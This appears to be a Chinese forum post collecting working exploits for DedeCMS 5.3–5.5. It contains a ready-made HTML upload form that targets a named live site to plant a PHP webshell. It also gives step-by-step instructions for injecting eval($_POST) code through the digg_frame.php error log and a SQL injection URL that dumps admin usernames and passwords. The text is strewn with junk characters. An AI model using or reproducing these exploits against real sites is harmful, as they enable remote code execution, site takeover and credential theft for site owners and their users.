& {- }2 q5 l  u5 a$ q<html>' F/ Q# R4 u7 v& V7 {
<head>) H2 W0 m( Z# q
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>7 I; B  `! F0 B9 Q* a8 j1 H  _
</head>
% p- L2 V" W7 q4 \4 H* i<body style="FONT-SIZE: 9pt">
2 Q6 F$ I. P' c( A6 q: b8 V---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />7 ^# |: ]7 d/ `3 M
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
1 V/ l7 m' E7 C% c<input type='hidden' name='activepath' value='/data/cache/' />( U1 V: P7 n5 ^5 ?
<input type='hidden' name='cfg_basedir' value='../../' />% E' F' V0 L7 L  a" z: R
<input type='hidden' name='cfg_imgtype' value='php' />
7 h( {* ~- R' g4 O) q5 ?<input type='hidden' name='cfg_not_allowall' value='txt' />
- X- Y( ~! s9 ^. }% s. ^+ Q<input type='hidden' name='cfg_softtype' value='php' />- E6 J. Z+ f4 `! c5 z( z7 m- c
<input type='hidden' name='cfg_mediatype' value='php' />
5 x& i, j2 q) w. c" x<input type='hidden' name='f' value='form1.enclosure' />
' @6 r# Q6 Z+ L/ R$ P; n4 W<input type='hidden' name='job' value='upload' />8 |) A+ ~, i' p0 B1 }; S! a
<input type='hidden' name='newname' value='fly.php' />" V* }' Y7 X  ~
Select U Shell <input type='file' name='uploadfile' size='25' />- x0 [, C# F- E" p9 x/ v$ ^$ U* y
<input type='submit' name='sb1' value='确定' />: }$ S8 D- G4 @) O9 v# ]0 Y+ [
</form>5 |, f% }- G; n+ O1 \$ N
<br />It's just a exp for the bug of Dedecms V55...<br />
$ ~" n. v$ f3 Z& @: jNeed register_globals = on...<br />0 n/ u( U' n; k, k* x6 k
Fun the game,get a webshell at /data/cache/fly.php...<br />; {1 E9 v  ^' W, j" v, d/ w8 H- U
</body>
/ M6 j- l- n1 I& E: l</html>
. K; \; Z0 o* }& \
) Q: o5 o% t( \5 |& \, w+ f+ X' _% |2 h

) `! d( P* z# b+ N' Y  o$ U7 B$ [/ E5 J0 N& c3 j, M( T- t: l
3 ]  y7 u9 K- O
+ q( g2 \& g/ ?# w9 j5 t

. h1 [5 R7 @% j0 k' b1 r! i
* N7 {7 v5 W' `' y4 r
, j6 I, F2 O9 G! l; o1 h0 [# ]* H. U0 L+ d8 t: ^
织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞# \3 D! C% h! {( v$ K. \! s- U
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
; u5 \0 V& g! H6 F1. 访问网址:; {* V! J; M% O# {' v
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>6 H: X9 q1 u- A5 S( P/ ~/ B
可看见错误信息
8 l0 a5 j+ d4 n5 |# o0 O0 j0 H7 s) z! i% j. n# ?: z- @3 `" G

2 m0 W/ ]+ _9 ?. [/ l2. 访问
http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。" w% A9 T+ L  }" i, Q! [- V0 p* v9 T
int(3) Error: Illegal double '1024e1024' value found during parsing
& L2 d3 a) O$ K9 h% V& FError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>5 S* s4 r9 J) ]3 J
% U. }# u- r( S$ {; V& L& S- F

* v5 M7 t3 x; g! F$ A1 b3. 执行dede.rar里的文件 test.html,注意 form 中 action 的地址是
9 c  l. R# e4 T5 B* ^; N8 T5 W! j9 b+ A+ E

+ ~( S8 `& g- G3 W* a<form action=”
http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>3 b+ c7 F2 H6 e' D4 w  w

* B& P- T( d) _+ x# B$ R6 _" C- \% G
按确定后的看到第2步骤的信息表示文件木马上传成功.
. Y4 v7 q! A  ]7 }  S/ Y8 E4 y, R+ D5 Z

) q% U2 C) u4 z2 r
" k5 y9 j* Z+ f; A) Y1 O: `, V: ^/ o4 e$ E
  y0 N2 a+ q% ~
! f/ x+ Q; @; U  f# g

- e$ x" t' E9 _
; q2 C4 p6 U4 u8 U2 H" y: R2 j+ Q2 e' M) Q/ B" ^" J
; h4 @; }0 Q  ^( ^$ I
% ^. A2 K0 i) e9 [
0 t$ b' P! i. i  z# |
织梦(DedeCms)plus/infosearch.php 文件注入漏洞
+ D, H; R& V4 X! Ohttp://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表